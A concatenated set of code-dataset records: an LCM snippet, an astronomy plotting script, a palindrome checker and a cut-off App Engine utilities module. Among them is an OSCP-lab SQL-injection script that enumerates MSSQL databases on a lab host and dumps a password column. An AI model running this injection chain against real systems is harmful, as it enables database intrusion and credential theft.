a//gcd(a,b)*b\n\nif N==2:\n LCM=lcm(A[0],A[1])\n ans=((LCM//A[0])+(LCM//A[1]))%mod\n print(ans)\n exit()\n\nLCM=1\n#LCM%=mod\nfor a in A:\n LCM=lcm(LCM, a)\n #LCM%=mod\n \n#print(LCM)\nans=0\nfor a in A:\n ans+=LCM//a\n #ans%=mod\n\nprint(int(ans%mod))\n\n","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p02793/s941595532.py","file_name":"s941595532.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"33311117100","text":"#!/bin/python3\n\nimport requests\nimport re\nimport urllib.parse\nimport sys\n\n\ndef getNumDatabases():\n # return the amount of DB's\n payload = \"AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000)) FROM [master]..[sysdatabases] )+CHAR(58)+CHAR(58)))--\"\n # chop up the output\n output = sendReq(payload)[0].replace(':', '')\n\n print(f\"Found {output} databases\")\n\n return int(output)\n\ndef getDBNames():\n names = []\n num_dbs = getNumDatabases()\n for i in range(1, num_dbs+1):\n payload = f\"AND 1=CONVERT(INT,db_name({i}))--\"\n names.append(sendReq(payload)[0])\n\n print(\"Databases are: \", end=\"\")\n print(\"\")\n for db in names:\n print(f\"'{db}'\", end=\" \")\n print(\"\")\n return names\n\ndef getTableCount(db):\n payload = f\"AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM {db}.information_schema.TABLES )+CHAR(58)+CHAR(58)))--\"\n output = sendReq(payload)[0].replace(':', '')\n\n print(f\"Found {output} table(s) in {db}\")\n return int(output)\n\ndef getTableNames(db):\n print(f\"\\nGetting table names in {db}\")\n names =[]\n num_tables = getTableCount(db)\n\n for i in range(1, num_tables + 1):\n payload = f\"AND 1= CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top {i} TABLE_NAME FROM {db}.information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC)+CHAR(58)))--\"\n names.append(sendReq(payload)[0].replace(\":\", \"\"))\n print(names)\n\ndef getColumnNames():\n names =[]\n db = \"archive\"\n table = \"pmanager\"\n for i in range(1,4):\n payload = f\"AND 1=CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 column_name FROM (SELECT DISTINCT top {i} column_name FROM {db}.information_schema.COLUMNS WHERE TABLE_NAME='{table}' ORDER BY column_name ASC) sq ORDER BY column_name DESC)+CHAR(58)))--\"\n names.append(sendReq(payload)[0].replace(\":\", \"\"))\n print(names)\n\ndef countEntries():\n payload = \"AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM archive..pmanager )+CHAR(58)+CHAR(58)))--\"\n output = sendReq(payload)[0].replace(':', '')\n\n print(output)\n\ndef extract_data():\n names =[]\n columns = ['alogin', 'id', 'psw']\n for c in columns:\n for i in range(1,6):\n payload = f\"AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 psw FROM (SELECT top {i} psw FROM archive..pmanager ORDER BY psw ASC) sq ORDER BY psw DESC)+CHAR(58)+CHAR(58)))--\"\n names.append(sendReq(payload)[0].replace(\":\", \"\"))\n\n print(names)\n\n\ndef sendReq(payload):\n\n headers = {\n 'Host': '10.11.1.229',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',\n 'Accept-Language': 'en-US,en;q=0.5',\n # 'Accept-Encoding': 'gzip, deflate',\n 'Content-Type': 'application/x-www-form-urlencoded',\n # 'Content-Length': '574',\n 'Origin': 'http://10.11.1.229',\n 'Connection': 'close',\n 'Referer': 'http://10.11.1.229/',\n 'Upgrade-Insecure-Requests': '1',\n 'Sec-GPC': '1',\n }\n\n # escape the email field, prepare for error statment\n injection = \"'); SELECT 1 WHERE 1=1 \"\n username = \"a\"\n email = injection + payload\n # email needs to be url encoded or else errors\n email = urllib.parse.quote(email)\n\n data = f\"__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=ust4jjKczirnO41gPRoZoZLXTYPhG9z%2BaQeuqxmothfb78kba%2BF%2FipN7y0dToXbQIWcQHuWG%2B19H6xsXCXH0QEaasD6jxooGLD9Io41rJ%2BcHKbZnZVM3xKU%2Fud3uYo4JZsj9bWcYBiYsjdOX%2FLmY4xeCqO8oWJGsFzt3Fg0y9C0%3D&__VIEWSTATEGENERATOR=A9B807B2&__EVENTVALIDATION=4AWvTJalftB7%2FPB4FNRb%2B77XEiBV6i8pGqCdNvIcDY1guM%2FlTLd1MckhT%2BcLQ9tFkV7QcIrC3ZfvZOtEP2lZqZEJUcVuJXkdRPYjrgTLv%2B8Aq2B%2BD4r2PVaeHRM8UGzAMrn5vV%2BHcu1gFdtzCyboSqNg3iQIO5cCHREaYzZ6D1I%3D&ctl00%24MainContent%24UsernameBox={username}&ctl00%24MainContent%24emailBox={email}&ctl00%24MainContent%24submit=Submit\"\n\n r = requests.post('http://10.11.1.229/', headers=headers, data=data, verify=False)\n output = r.text.split(\"\\r\")\n\n # pull out just the error\n for line in output:\n if \"nvarchar value '\" in line:\n output = line\n break\n try:\n output = re.findall(r\"'(.*?)'\", output, re.DOTALL)\n except TypeError:\n print('SQL injection failed')\n print(f\"Query is {urllib.parse.unquote_plus(email)}\")\n return \"\"\n\n # sometimes the db gets mad at all the requests, remove the errors\n for item in output:\n if 'PK__' in item or 'dbo.users' in item:\n output.remove(item)\n\n return output\n\n\nif __name__ == \"__main__\":\n extract_data()\n","repo_name":"stackviolator/oscp-prep","sub_path":"labs/public/229/sqli.py","file_name":"sqli.py","file_ext":"py","file_size_in_byte":4703,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"90"} +{"seq_id":"13642444965","text":"import matplotlib.pyplot as plt\n\n#NGC;ID;Bmag;Vmag;Icmag;Kmag;RV11;RV13;Teff;[FeI/H];e_[FeI/H];[O/Fe];e_[O/Fe];l_[Na/Fe];[Na/Fe];e_[Na/Fe];RAJ2000;DEJ2000\n# ; ;mag;mag;mag;mag;km/s;km/s;K;[Sun];[Sun];[Sun];[Sun]; ;[Sun];[Sun];\"h:m:s\";\"d:m:s\"\n\n\ncaretta_Fe_I, caretta_e_Fe_I, caretta_O_Fe, caretta_e_O_Fe, caretta_l_Na_Fe, caretta_Na_Fe, caretta_e_Na_Fe = np.loadtxt('caretta-et-al-2009-O-Na.txt', skiprows=67, delimiter=';', \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tusecols=(9, 10, 11, 12, 13, 14, 15, ), unpack=True, dtype=str)\n\n# Replace invalid items with np.nans\n\ndef clean(array):\n\n\tnew_array = []\n\tfor item in array:\n\t\ttry:\n\t\t\titem = float(item)\n\n\t\texcept ValueError:\n\t\t\tnew_array.append(np.nan)\n\n\t\telse:\n\t\t\tnew_array.append(item)\n\n\treturn np.array(new_array)\n\n\ncaretta_Fe_I, caretta_e_Fe_I, caretta_O_Fe, caretta_e_O_Fe, caretta_Na_Fe, caretta_e_Na_Fe = map(clean, [caretta_Fe_I, caretta_e_Fe_I, caretta_O_Fe, caretta_e_O_Fe, caretta_Na_Fe, caretta_e_Na_Fe])\n\n\n\n# Get Na and O from files:\ndata_files = ['c2225316-14437_abundances.data', 'c2306265-085103_abundances.data', 'j221821-183424_abundances.data', 'j223504-152834_abundances.data', 'j223811-104126_abundances.data']\n\nNa_Fe = []\ne_Na_Fe = []\n\nO_Fe = []\ne_O_Fe = []\n\nobserved_data = {}\nfor filename in data_files:\n\n\tdata = np.loadtxt(filename, dtype=str, usecols=(0, -4, -2,))\n\tobserved_data[filename] = data\n\n\tidx = list(data[:,0]).index('Na')\n\t_Na_Fe, _e_Na_Fe = data[idx, 1:]\n\n\tidx = list(data[:, 0]).index('O')\n\t_O_Fe, _e_O_Fe = data[idx, 1:]\n\n\tNa_Fe.append(_Na_Fe)\n\tO_Fe.append(_O_Fe)\n\te_Na_Fe.append(_e_Na_Fe)\n\te_O_Fe.append(_e_O_Fe)\n\n\n# Clean up Na_Fe, O_Fe, e_Na_Fe, e_O_Fe\nNa_Fe = map(float, [value.replace('$', '').replace('\\nodata', 'nan') for value in Na_Fe])\nO_Fe = map(float, [value.replace('$', '').replace('\\nodata', 'nan') for value in O_Fe])\n\ne_Na_Fe = map(float, [value.replace('$', '').replace('\\nodata', 'nan') for value in e_Na_Fe])\ne_O_Fe = map(float, [value.replace('$', '').replace('\\nodata', 'nan') for value in e_O_Fe])\n\nNa_Fe, O_Fe, e_Na_Fe, e_O_Fe = map(np.array, [Na_Fe, O_Fe, e_Na_Fe, e_O_Fe])\n\n\nfig = plt.figure()\nax = fig.add_subplot(111)\n\n# Oxygen upper limits\nupper_limits = np.where(caretta_e_O_Fe == 9.999)[0]\nmeasurements = np.array(list(set(range(len(caretta_O_Fe))).difference(upper_limits)))\n\nax.errorbar(caretta_O_Fe[upper_limits], caretta_Na_Fe[upper_limits], xerr=0.02, xlolims=True, fmt=None, ecolor='#666666', zorder=-1)\n#ax.errorbar(caretta_O_Fe[upper_limits], caretta_Na_Fe[upper_limits], facecolor='none', edgecolor='k')\n#ax.errorbar(caretta_O_Fe[measurements], caretta_Na_Fe[measurements], xerr=caretta_e_O_Fe[measurements], yerr=caretta_e_Na_Fe[measurements], fmt=None)\n\nax.scatter(caretta_O_Fe[measurements], caretta_Na_Fe[measurements], facecolor='none', edgecolor='#666666', zorder=-1)\n\nax.set_xlabel('[O/Fe]')\nax.set_ylabel('[Na/Fe]')\n\n# Plot aquarius [Na/Fe] and [O/Fe] on caretta plot?\n\nax.scatter(O_Fe, Na_Fe, marker='o', color='b', s=50, zorder=10)\nax.errorbar(O_Fe, Na_Fe, xerr=e_O_Fe, yerr=e_Na_Fe, fmt=None, ecolor='b', elinewidth=1, zorder=10)\n\nax.set_xlim(-1.5, 1.0)\nax.set_ylim(-0.6, 1.1)\n\nplt.draw()\nplt.savefig('caretta-et-al-2009-o-na.pdf')\nplt.savefig('caretta-et-al-2009-o-na.eps')\n\n# Plot [Na/Fe] and [O/Fe] on its own\n\nfig = plt.figure()\nax2 = fig.add_subplot(111)\nax2.scatter(O_Fe, Na_Fe, marker='o', color='k')\nax2.errorbar(O_Fe, Na_Fe, xerr=e_O_Fe, yerr=e_Na_Fe, fmt=None, ecolor='k', edgecolor='k')\n\nax2.set_xlabel('[O/Fe]')\nax2.set_ylabel('[Na/Fe]')\n\nax2.set_xlim(-1.5, 1.0)\nax2.set_ylim(-0.6, 1.1)\n\nplt.draw()\nplt.savefig('aquarius-o-na.pdf')\nplt.savefig('aquarius-o-na.eps')\n","repo_name":"andycasey/papers","sub_path":"2012-aqs/figures/plot-na-o.py","file_name":"plot-na-o.py","file_ext":"py","file_size_in_byte":3591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"1803607170","text":"'''Develop a Python Program to check if a given string is palindrome or not ? (Example for an Palindrome is abcba looks same from both ends)'''\r\n\r\ndef palindrome(s): # defining function to check whether given string is palindrome or not\r\n a=0 # taken the starting index\r\n b=len(s)-1 # taken the ending index\r\n c=0 # taken a variable for reference to check given string is palindrome or not\r\n while True: # taken a while loop to run multiplt times\r\n if(s[a]!=s[b]): # checking the starting index values and ending index values are same or not\r\n print(s,\"is not a palindrome\") # if not then printing the given string is not palindrome\r\n c=1 # updating the variable for reference \r\n break # breaking the loop as string is not palindrome and there is no need to check furthur \r\n else: # if the values are same\r\n if a==b or b-a==1: # and a, b are same are b is 1 greater than a\r\n break # we should break the loop \r\n a+=1 # if not then increment the index value a \r\n b-=1 # and decrement b\r\n if(c==0): # if c=0 then string is palindrome\r\n print(s,\"is a palindrome\") # printing given string is palindrome\r\n \r\n \r\ns=input(\"Enter a string : \") # taking string as input \r\npalindrome(s) # calling the function to check given string is palindrome is not\r\n","repo_name":"Yogini824/NameError","sub_path":"PartB_q4.py","file_name":"PartB_q4.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"26035568176","text":"import binascii\nimport datetime\nimport functools\nimport hashlib\nimport inspect\nimport json\nimport logging\nimport os\nimport re\nimport sys\nimport threading\n\nfrom six.moves import urllib\n\nfrom email import utils as email_utils\n\nfrom google.appengine import runtime\nfrom google.appengine.api import runtime as apiruntime\nfrom google.appengine.api import app_identity\nfrom google.appengine.api import memcache as gae_memcache\nfrom google.appengine.api import modules\nfrom google.appengine.api import taskqueue\nfrom google.appengine.ext import ndb\nfrom google.appengine.runtime import apiproxy_errors\n\n\nTHIS_DIR = os.path.dirname(os.path.abspath(__file__))\n\nDATETIME_FORMAT = u'%Y-%m-%d %H:%M:%S'\nDATE_FORMAT = u'%Y-%m-%d'\nVALID_DATETIME_FORMATS = ('%Y-%m-%d', '%Y-%m-%d %H:%M', '%Y-%m-%d %H:%M:%S')\n\n\n# UTC datetime corresponding to zero Unix timestamp.\nEPOCH = datetime.datetime.utcfromtimestamp(0)\n\n# Module to run task queue tasks on by default. Used by get_task_queue_host\n# function. Can be changed by 'set_task_queue_module' function.\n_task_queue_module = 'backend'\n\n\n## GAE environment\n\n\ndef should_disable_ui_routes():\n return os.environ.get('LUCI_DISABLE_UI_ROUTES', '0') == '1'\n\n\ndef is_local_dev_server():\n \"\"\"Returns True if running on local development server or in unit tests.\n\n This function is safe to run outside the scope of a HTTP request.\n \"\"\"\n return os.environ.get('SERVER_SOFTWARE', '').startswith('Development')\n\n\ndef is_dev():\n \"\"\"Returns True if the server is running a development/staging instance.\n\n We define a 'development instance' as an instance that has the suffix '-dev'\n in its instance name.\n\n This function is safe to run outside the scope of a HTTP request.\n \"\"\"\n return os.environ['APPLICATION_ID'].endswith('-dev')\n\n\ndef is_unit_test():\n \"\"\"Returns True if running in a unit test.\n\n Don't abuse it, use only if really desperate. For example, in a component that\n is included by many-many projects across many repos, when mocking some\n component behavior in all unit tests that indirectly invoke it is infeasible.\n \"\"\"\n if not is_local_dev_server():\n return False\n # devappserver2 sets up some sort of a sandbox that is not activated for\n # unit tests. So differentiate based on that.\n return all(\n 'google.appengine.tools.devappserver2' not in str(p)\n for p in sys.meta_path)\n\n\ndef _get_memory_usage():\n \"\"\"Returns the amount of memory used as an float in MiB.\"\"\"\n try:\n return apiruntime.runtime.memory_usage().current()\n except (AssertionError,\n apiproxy_errors.CancelledError,\n apiproxy_errors.DeadlineExceededError,\n apiproxy_errors.RPCFailedError,\n runtime.DeadlineExceededError) as e:\n logging.warning('Failed to get memory usage: %s', e)\n return None\n\n\n## Handler\n\n\ndef get_request_as_int(request, key, default, min_value, max_value):\n \"\"\"Returns a request value as int.\"\"\"\n value = request.params.get(key, '')\n try:\n value = int(value)\n except ValueError:\n return default\n return min(max_value, max(min_value, value))\n\n\ndef report_memory(app, timeout=None):\n \"\"\"Wraps an app so handlers log when memory usage increased by at least 0.5MB\n after the handler completed.\n \"\"\"\n min_delta = 0.5\n old_dispatcher = app.router.dispatch\n def dispatch_and_report(*args, **kwargs):\n time_before = time_time()\n before = _get_memory_usage()\n deadline = False\n try:\n return old_dispatcher(*args, **kwargs)\n except runtime.DeadlineExceededError:\n # Don't try to call any function after, it'll likely fail anyway. It is\n # because _get_memory_usage() does an RPC under the hood.\n deadline = True\n raise\n finally:\n # Don't try to call any function if it is close to the timeout.\n # https://cloud.google.com/appengine/docs/standard/python/how-instances-are-managed#timeout\n if timeout and time_time() - time_before > timeout - 5:\n deadline = True\n if not deadline:\n after = _get_memory_usage()\n if before and after and after >= before + min_delta:\n logging.debug(\n 'Memory usage: %.1f -> %.1f MB; delta: %.1f MB',\n before, after, after-before)\n app.router.dispatch = dispatch_and_report\n\n\n## Time\n\n\ndef utcnow():\n \"\"\"Returns datetime.utcnow(), used for testing.\n\n Use this function so it can be mocked everywhere.\n \"\"\"\n return datetime.datetime.utcnow()\n\n\ndef time_time():\n \"\"\"Returns the equivalent of time.time() as mocked if applicable.\"\"\"\n return (utcnow() - EPOCH).total_seconds()\n\n\ndef time_time_ns():\n \"\"\"Returns the equivalent of time.time_ns() as mocked if applicable.\"\"\"\n return int((utcnow() - EPOCH).total_seconds() * 1e9)\n\n\ndef milliseconds_since_epoch(now=None):\n \"\"\"Returns the number of milliseconds since unix epoch as an int.\"\"\"\n now = now or utcnow()\n return int(round((now - EPOCH).total_seconds() * 1000.))\n\n\ndef datetime_to_rfc2822(dt):\n \"\"\"datetime -> string value for Last-Modified header as defined by RFC2822.\"\"\"\n if not isinstance(dt, datetime.datetime):\n raise TypeError(\n 'Expecting datetime object, got %s instead' % type(dt).__name__)\n assert dt.tzinfo is None, 'Expecting UTC timestamp: %s' % dt\n return email_utils.formatdate(datetime_to_timestamp(dt) / 1000000.0)\n\n\ndef datetime_to_timestamp(value):\n \"\"\"Converts UTC datetime to integer timestamp in microseconds since epoch.\"\"\"\n if not isinstance(value, datetime.datetime):\n raise ValueError(\n 'Expecting datetime object, got %s instead' % type(value).__name__)\n if value.tzinfo is not None:\n raise ValueError('Only UTC datetime is supported')\n dt = value - EPOCH\n return dt.microseconds + 1000 * 1000 * (dt.seconds + 24 * 3600 * dt.days)\n\n\ndef timestamp_to_datetime(value):\n \"\"\"Converts integer timestamp in microseconds since epoch to UTC datetime.\"\"\"\n if not isinstance(value, (int, long, float)):\n raise ValueError(\n 'Expecting a number, got %s instead' % type(value).__name__)\n return EPOCH + datetime.timedelta(microseconds=value)\n\n\ndef parse_datetime(text):\n \"\"\"Converts text to datetime.datetime instance or None.\"\"\"\n for f in VALID_DATETIME_FORMATS:\n try:\n return datetime.datetime.strptime(text, f)\n except ValueError:\n continue\n return None\n\n\ndef parse_rfc3339_datetime(value):\n \"\"\"Parses RFC 3339 datetime string (as used in Timestamp proto JSON encoding).\n\n Keeps only microsecond precision (dropping nanoseconds).\n\n Examples of the input:\n 2017-08-17T04:21:32.722952943Z\n 1972-01-01T10:00:20.021-05:00\n\n Returns:\n datetime.datetime in UTC (regardless of timezone of the original string).\n\n Raises:\n ValueError on errors.\n \"\"\"\n # Adapted from protobuf/internal/well_known_types.py Timestamp.FromJsonString.\n # We can't use the original, since it's marked as internal. Also instantiating\n # proto messages here to parse a string would been odd.\n timezone_offset = value.find('Z')\n if timezone_offset == -1:\n timezone_offset = value.find('+')\n if timezone_offset == -1:\n timezone_offset = value.rfind('-')\n if timezone_offset == -1:\n raise ValueError('Failed to parse timestamp: missing valid timezone offset')\n time_value = value[0:timezone_offset]\n # Parse datetime and nanos.\n point_position = time_value.find('.')\n if point_position == -1:\n second_value = time_value\n nano_value = ''\n else:\n second_value = time_value[:point_position]\n nano_value = time_value[point_position + 1:]\n date_object = datetime.datetime.strptime(second_value, '%Y-%m-%dT%H:%M:%S')\n td = date_object - EPOCH\n seconds = td.seconds + td.days * 86400\n if len(nano_value) > 9:\n raise ValueError(\n 'Failed to parse timestamp: nanos %r more than 9 fractional digits'\n % nano_value)\n if nano_value:\n nanos = round(float('0.' + nano_value) * 1e9)\n else:\n nanos = 0\n # Parse timezone offsets.\n if value[timezone_offset] == 'Z':\n if len(value) != timezone_offset + 1:\n raise ValueError(\n 'Failed to parse timestamp: invalid trailing data %r' % value)\n else:\n timezone = value[timezone_offset:]\n pos = timezone.find(':')\n if pos == -1:\n raise ValueError('Invalid timezone offset value: %r' % timezone)\n if timezone[0] == '+':\n seconds -= (int(timezone[1:pos])*60+int(timezone[pos+1:]))*60\n else:\n seconds += (int(timezone[1:pos])*60+int(timezone[pos+1:]))*60\n return timestamp_to_datetime(int(seconds)*1e6 + int(nanos)/1e3)\n\n\ndef constant_time_equals(a, b):\n \"\"\"Compares two strings in constant time regardless of theirs content.\"\"\"\n if len(a) != len(b):\n return False\n result = 0\n for x, y in zip(a, b):\n result |= ord(x) ^ ord(y)\n return result == 0\n\n\n## Cache\n\n\nclass _EternalCache(object):\n \"\"\"Holds state of a cache for @cache decorators.\n\n May call |func| more than once and concurrently. Thread- and NDB tasklet-safe.\n \"\"\"\n\n def __init__(self, func):\n self.func = func\n self.value = None\n self.value_is_set = False\n\n def get_value(self):\n \"\"\"Returns a cached value getting it first if necessary.\"\"\"\n # We assume Python booleans are \"atomic\". They are in CPython.\n # Note: attempting to protect this initialization with a lock leads to\n # issues when using ndb tasklets inside `func`: they easily can end up\n # calling other unrelated code (while the lock is still held), eventually\n # leading to deadlocks if this code calls get_value again. There's a test\n # for that in utils_test.py.\n if not self.value_is_set:\n self.value = self.func()\n self.value_is_set = True\n return self.value\n\n def clear(self):\n \"\"\"Clears stored cached value.\"\"\"\n self.value_is_set = False\n self.value = None\n\n def get_wrapper(self):\n \"\"\"Returns a callable object that can be used in place of |func|.\n\n It's basically self.get_value, updated by functools.wraps to look more like\n original function.\n \"\"\"\n # Wrapping self.get_value directly fails since it is \"instancemethod\", not\n # a regular function.\n #\n # pylint: disable=unnecessary-lambda\n wrapper = functools.wraps(self.func)(lambda: self.get_value())\n wrapper.__parent_cache__ = self\n return wrapper\n\n\nclass _ExpiringCache(object):\n \"\"\"Holds state of a cache for @cache_with_expiration decorators.\n\n May call |func| more than once and concurrently. Thread- and NDB tasklet-safe.\n \"\"\"\n\n def __init__(self, func, expiration_sec):\n self.func = func\n self.expiration_sec = expiration_sec\n self.lock = threading.Lock()\n self.value = None\n self.value_is_set = False\n self.expires = None\n\n def get_value(self):\n \"\"\"Returns a cached value refreshing it if it has expired.\"\"\"\n with self.lock:\n if self.value_is_set and (not self.expires or time_time() < self.expires):\n return self.value\n\n new_value = self.func()\n\n with self.lock:\n self.value = new_value\n self.value_is_set = True\n self.expires = time_time() + self.expiration_sec\n\n return self.value\n\n def clear(self):\n \"\"\"Clears stored cached value.\"\"\"\n with self.lock:\n self.value = None\n self.value_is_set = False\n self.expires = None\n\n def get_wrapper(self):\n \"\"\"Returns a callable object that can be used in place of |func|.\n\n It's basically self.get_value, updated by functools.wraps to look more like\n original function.\n \"\"\"\n # Wrapping self.get_value directly fails since it is \"instancemethod\", not\n # a regular function.\n #\n # pylint: disable=unnecessary-lambda\n wrapper = functools.wraps(self.func)(lambda: self.get_value())\n wrapper.__parent_cache__ = self\n return wrapper\n\n\ndef cache(func):\n \"\"\"Decorator that implements permanent cache of a zero-parameter function.\"\"\"\n return _EternalCache(func).get_wrapper()\n\n\ndef cache_with_expiration(expiration_sec):\n \"\"\"Decorator that implements in-memory cache for a zero-parameter function.\"\"\"\n assert expiration_sec > 0, expiration_sec\n def decorator(func):\n return _ExpiringCache(func, expiration_sec).get_wrapper()\n return decorator\n\n\ndef clear_cache(func):\n \"\"\"Given a function decorated with @cache, resets cached value.\n\n Exclusively for tests!\n \"\"\"\n func.__parent_cache__.clear()\n\n\ndef memcache_async(key, key_args=None, time=None):\n \"\"\"Decorator that implements memcache-based cache for a function.\n\n The generated cache key contains current application version and values of\n |key_args| arguments converted to string using `repr`.\n\n Args:\n key (str): unique string that will be used as a part of cache key.\n key_args (list of str): list of function argument names to include\n in the generated cache key.\n time (int): optional expiration time.\n\n Example:\n @memcache('f', ['a', 'b'])\n def f(a, b=2, not_used_in_cache_key=6):\n # Heavy computation\n return 42\n\n Decorator raises:\n NotImplementedError if function uses varargs or kwargs.\n \"\"\"\n assert isinstance(key, basestring), key\n key_args = key_args or []\n assert isinstance(key_args, list), key_args\n assert all(isinstance(a, basestring) for a in key_args), key_args\n assert all(key_args), key_args\n\n memcache_set_kwargs = {}\n if time is not None:\n memcache_set_kwargs['time'] = time\n\n def decorator(func):\n unwrapped = func\n while True:\n deeper = getattr(unwrapped, '__wrapped__', None)\n if not deeper:\n break\n unwrapped = deeper\n\n argspec = inspect.getargspec(unwrapped)\n if argspec.varargs:\n raise NotImplementedError(\n 'varargs in memcached functions are not supported')\n if argspec.keywords:\n raise NotImplementedError(\n 'kwargs in memcached functions are not supported')\n\n # List of arg names and indexes. Has same order as |key_args|.\n arg_indexes = []\n for name in key_args:\n try:\n i = argspec.args.index(name)\n except ValueError:\n raise KeyError(\n 'key_format expects \"%s\" parameter, but it was not found among '\n 'function parameters' % name)\n arg_indexes.append((name, i))\n\n @functools.wraps(func)\n @ndb.tasklet\n def decorated(*args, **kwargs):\n arg_values = []\n for name, i in arg_indexes:\n if i < len(args):\n arg_value = args[i]\n elif name in kwargs:\n arg_value = kwargs[name]\n else:\n # argspec.defaults contains _last_ default values, so we need to shift\n # |i| left.\n default_value_index = i - (len(argspec.args) - len(argspec.defaults))\n if default_value_index < 0:\n # Parameter not provided. Call function to cause TypeError\n func(*args, **kwargs)\n assert False, 'Function call did not fail'\n arg_value = argspec.defaults[default_value_index]\n arg_values.append(arg_value)\n\n # Instead of putting a raw value to memcache, put tuple (value,)\n # so we can distinguish a cached None value and absence of the value.\n\n cache_key = 'utils.memcache/%s/%s%s' % (\n get_app_version(), key, repr(arg_values))\n\n ctx = ndb.get_context()\n result = yield ctx.memcache_get(cache_key)\n if isinstance(result, tuple) and len(result) == 1:\n raise ndb.Return(result[0])\n\n result = func(*args, **kwargs)\n if isinstance(result, ndb.Future):\n result = yield result\n yield ctx.memcache_set(cache_key, (result,), **memcache_set_kwargs)\n raise ndb.Return(result)\n\n return decorated\n return decorator\n\n\ndef memcache(*args, **kwargs):\n \"\"\"Blocking version of memcache_async.\"\"\"\n decorator_async = memcache_async(*args, **kwargs)\n def decorator(func):\n decorated_async = decorator_async(func)\n @functools.wraps(func)\n def decorated(*args, **kwargs):\n return decorated_async(*args, **kwargs).get_result()\n return decorated\n return decorator\n\n\n## GAE identity\n\n\n@cache\ndef get_app_version():\n \"\"\"Returns currently running version (not necessary a default one).\"\"\"\n # Sadly, this causes an RPC and when called too frequently, throws quota\n # errors.\n return modules.get_current_version_name() or 'N/A'\n\n\n@cache\ndef get_versioned_hosturl():\n \"\"\"Returns the url hostname of this instance locked to the currently running\n version.\n\n This function hides the fact that app_identity.get_default_version_hostname()\n returns None on the dev server and modules.get_hostname() returns incorrectly\n qualified hostname for HTTPS usage on the prod server. <3\n \"\"\"\n if is_local_dev_server():\n # TODO(maruel): It'd be nice if it were easier to use a ephemeral SSL\n # certificate here and not assume unsecured connection.\n return 'http://' + modules.get_hostname()\n\n return 'https://%s-dot-%s' % (\n get_app_version(), app_identity.get_default_version_hostname())\n\n\n@cache\ndef get_urlfetch_service_id():\n \"\"\"Returns a value for X-URLFetch-Service-Id header for GAE <-> GAE calls.\n\n Usually it can be omitted. It is required in certain environments.\n \"\"\"\n if is_local_dev_server():\n return 'LOCAL'\n hostname = app_identity.get_default_version_hostname().split('.')\n return hostname[-2].upper() if len(hostname) >= 3 else 'APPSPOT'\n\n\n@cache\ndef get_app_revision_url():\n \"\"\"Returns URL of a git revision page for currently running app version.\n\n Works only for non-tainted versions uploaded with tools/update.py: app version\n should look like '162-efaec47'. Assumes all services that use 'components'\n live in a single repository.\n\n Returns None if a version is tainted or has unexpected name.\n \"\"\"\n rev = re.match(r'\\d+-([a-f0-9]+)$', get_app_version())\n template = 'https://chromium.googlesource.com/infra/luci/luci-py/+/%s'\n return template % rev.group(1) if rev else None\n\n\n@cache\ndef get_service_account_name():\n \"\"\"Same as app_identity.get_service_account_name(), but caches the result.\n\n app_identity.get_service_account_name() does an RPC on each call, yet the\n result is always the same.\n \"\"\"\n return app_identity.get_service_account_name()\n\n\ndef get_module_version_list(module_list, tainted):\n \"\"\"Returns a list of pairs (module name, version name) to fetch logs for.\n\n Arguments:\n module_list: list of modules to list, defaults to all modules.\n tainted: if False, excludes versions with '-tainted' in their name.\n \"\"\"\n result = []\n if not module_list:\n # If the function it called too often, it'll raise a OverQuotaError. So\n # cache it for 10 minutes.\n module_list = gae_memcache.get('modules_list')\n if not module_list:\n module_list = modules.get_modules()\n gae_memcache.set('modules_list', module_list, time=10*60)\n\n for module in module_list:\n # If the function it called too often, it'll raise a OverQuotaError.\n # Versions is a bit more tricky since we'll loose data, since versions are\n # changed much more often than modules. So cache it for 1 minute.\n key = 'modules_list-' + module\n version_list = gae_memcache.get(key)\n if not version_list:\n version_list = modules.get_versions(module)\n gae_memcache.set(key, version_list, time=60)\n result.extend(\n (module, v) for v in version_list if tainted or '-tainted' not in v)\n return result\n\n\n## Task queue\n\n\n@cache\ndef get_task_queue_host():\n \"\"\"Returns domain name of app engine instance to run a task queue task on.\n\n By default will use 'backend' module. Can be changed by calling\n set_task_queue_module during application startup.\n\n This domain name points to a matching version of appropriate app engine\n module - ...appspot.com where:\n version: version of the module that is calling this function.\n module: app engine module to execute task on.\n\n That way a task enqueued from version 'A' of default module would be executed\n on same version 'A' of backend module.\n \"\"\"\n # modules.get_hostname sometimes fails with unknown internal error.\n # Cache its result in a memcache to avoid calling it too often.\n cache_key = 'task_queue_host:%s:%s' % (_task_queue_module, get_app_version())\n value = gae_memcache.get(cache_key)\n if not value:\n value = modules.get_hostname(module=_task_queue_module)\n gae_memcache.set(cache_key, value)\n return value\n\n\ndef set_task_queue_module(module):\n \"\"\"Changes a module used by get_task_queue_host() function.\n\n Should be called during application initialization if default 'backend' module\n is not appropriate.\n \"\"\"\n global _task_queue_module\n _task_queue_module = module\n clear_cache(get_task_queue_host)\n\n\n@ndb.tasklet\ndef enqueue_task_async(\n url,\n queue_name,\n params=None,\n payload=None,\n name=None,\n countdown=None,\n use_dedicated_module=True,\n version=None,\n transactional=False):\n \"\"\"Adds a task to a task queue.\n\n If |use_dedicated_module| is True (default) the task will be executed by\n a separate backend module instance that runs same version as currently\n executing instance. If |version| is specified, the task will be executed by a\n 